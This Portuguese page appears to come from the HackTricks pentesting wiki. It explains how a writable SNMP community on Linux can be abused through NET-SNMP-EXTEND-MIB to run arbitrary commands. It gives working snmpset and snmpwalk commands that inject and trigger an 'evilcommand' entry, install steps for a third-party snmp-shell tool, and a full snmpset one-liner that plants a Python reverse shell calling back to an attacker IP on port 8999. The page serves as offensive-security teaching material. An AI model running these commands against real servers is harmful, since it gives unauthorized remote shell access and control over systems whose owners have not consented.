hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2023-06-06 18:56:34 +00:00

4.7 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este post foi copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

O SNMP às vezes é negligenciado pelo administrador do dispositivo ou servidor onde é deixado em uma configuração padrão. A comunidade SNMP com permissões de gravação (rwcommunity) no sistema operacional Linux pode ser abusada para permitir que o atacante execute um comando no servidor.

Estendendo os serviços

Embora você não possa modificar as entradas existentes que foram configuradas em snmpd.conf, é possível adicionar comandos adicionais por SNMP, porque a configuração de permissão "MAX-ACCESS" na definição MIB é definida como "read-create".

Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela "nsExtendObjects".

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injetando um comando para ser executado no serviço SNMP. O NET-SNMP-EXTEND-MIB requer que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.

Executando o comando que injetamos no SNMP enumerando-o usando snmpwalk.

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Mostrando que o comando é /bin/echo.

O comando será executado quando for lido. run-on-read()

O comando /bin/echo "hello rio is here" foi executado durante a leitura do snmpwalk

Obtendo o Shell do Net-SNMP Extend

Nesta seção, gostaria de discutir como obter um shell do servidor para controlá-lo.

Você pode usar o script python desenvolvido por mxrch que pode ser baixado em https://github.com/mxrch/snmp-shell.git

Você pode instalar o pré-requisito para executar isso:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Criando shell reverso

Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Execute o snmpwalk para acionar a execução do comando.

Nosso netcat recebe a conexão reversa do shell do alvo que nos permite obter controle sobre a máquina do alvo.